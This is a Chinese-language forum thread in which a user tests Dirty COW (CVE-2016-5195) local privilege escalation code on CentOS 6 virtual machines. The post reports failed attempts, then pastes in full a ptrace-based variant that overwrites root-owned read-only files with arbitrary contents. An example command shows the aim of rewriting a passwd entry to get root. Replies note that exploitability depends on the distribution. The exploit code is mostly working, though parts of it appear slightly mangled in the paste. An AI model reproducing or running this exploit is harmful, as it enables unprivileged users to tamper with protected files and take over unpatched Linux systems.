关于脏牛漏洞利用

我在虚拟机Centos6.7,Centos6.5上面测试了脏牛的测试代码,但是发现都没有用。
在github上的源码在linux上用gcc编译
gcc -lpthread 1.c -o a
然后利用
./a passwd admin:0:0:
出现了:
mmap 7f0ca26a1000
madvise 0
procselfmem -100000000
发现并没有写入
=。=是哪里错了吗求大神解答!
这是我用的Centos内核版本
QQ图片20161029091405.png


QQ图片20161029091410.png

 
[admin@localhost tmp]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

[admin@localhost tmp]$ id
uid=500(admin) gid=500(admin) 组=500(admin) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

查看权限
-r-----r--. 1 root  root     55 11月  1 03:03 passwd

[admin@localhost tmp]$ cat passwd 
12222222222222222222222222222222222222222222222222222

编译
[admin@localhost tmp]$ gcc -lpthread 1.c -o a

执行
[admin@localhost tmp]$ ./a passwd 123123
mmap 7f53f3838000

madvise 0

procselfmem -100000000

[admin@localhost tmp]$ cat passwd 
12222222222222222222222222222222222222222222222222222

执行后并没有更改QAQ。。。
 
我又在github上找了下发现这个管用
 
编译
gcc -pthread 1.c -o cow
 
执行
[admin@localhost tmp]$ ./cow 文件名 内容
 

#include <fcntl.h>                        //// pikachu
#include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h>                       //// pokeball
#include <stdio.h>                        ////    (___)
#include <stdint.h>                       ////    (o o)_____/
#include <sys/mman.h>                     ////     @@ `     \ 
#include <sys/types.h>                    ////      \ ____, /miltank
#include <sys/stat.h>                     ////      //    //
#include <sys/wait.h>                     ////     ^^    ^^
#include <sys/ptrace.h>                   //// mmap bc757000
#include <unistd.h>                       //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f                                      ;// file descriptor
void *map                                  ;// memory map
pid_t pid                                  ;// process id
pthread_t pth                              ;// thread
struct stat st                             ;// file info
//////////////////////////////////////////////
void madviseThread(void arg)             {// madvise thread
  int i,c=0                                ;// counters
  for(i=0;i<200000000;i++)//////////////////// loop to 210*8
    c+=madvise(map,100,MADV_DONTNEED)      ;// race condition
  printf("madvise %d\n\n",c)               ;// sum of errors
                                           }// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[])            {// entrypoint
  if(argc<3)return 1                       ;// ./d file contents
  printf("%s                               \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", argv[1], argv[2])                       ;// dirty cow
  f=open(argv[1],O_RDONLY)                 ;// open read only file
  fstat(f,&st)                             ;// stat the fd
  map=mmap(NULL                            ,// mmap the file
           st.st_size+sizeof(long)         ,// size is filesize plus padding
           PROT_READ                       ,// read-only
           MAP_PRIVATE                     ,// private mapping for cow
           f                               ,// file descriptor
           0)                              ;// zero
  printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
  pid=fork()                               ;// fork process
  if(pid)                                  {// if parent
    waitpid(pid,NULL,0)                    ;// wait for child
    int u,i,o,c=0,l=strlen(argv[2])        ;// util vars (l=length)
    for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
      for(o=0;o<l;o++)//////////////////////// repeat for each byte
        for(u=0;u<10000;u++)////////////////// try 10K times each time
          c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
                    pid                    ,// process id
                    map+o                  ,// address
                    (argv[2]+o))) ;// value
    printf("ptrace %d\n\n",c)              ;// sum of error code
                                           }// otherwise
  else                                     {// child
    pthread_create(&pth                    ,// create new thread
                   NULL                    ,// null
                   madviseThread           ,// run madviseThred
                   NULL)                   ;// null
    ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
    kill(getpid(),SIGSTOP)                 ;// signal parent
    pthread_join(pth,NULL)                 ;// wait for thread
                                           }// / child
  return 0                                 ;// return
                                           }// / entrypoint
已邀请:

saline

赞同来自: ttgo2

其实还是看发型版本的.某些确实没有办法利用

Mosuan - 我们因看不见而恐惧无形之物,因看不见而敬畏无形之物。

赞同来自:

能写入普通文件吗

zksmile - http://zksmile.me

赞同来自:

你想写入的文件里边有内容么?

Lee - 在当地较靓丽的一女子

赞同来自:

能写入普通文件吗

要回复问题请先登录注册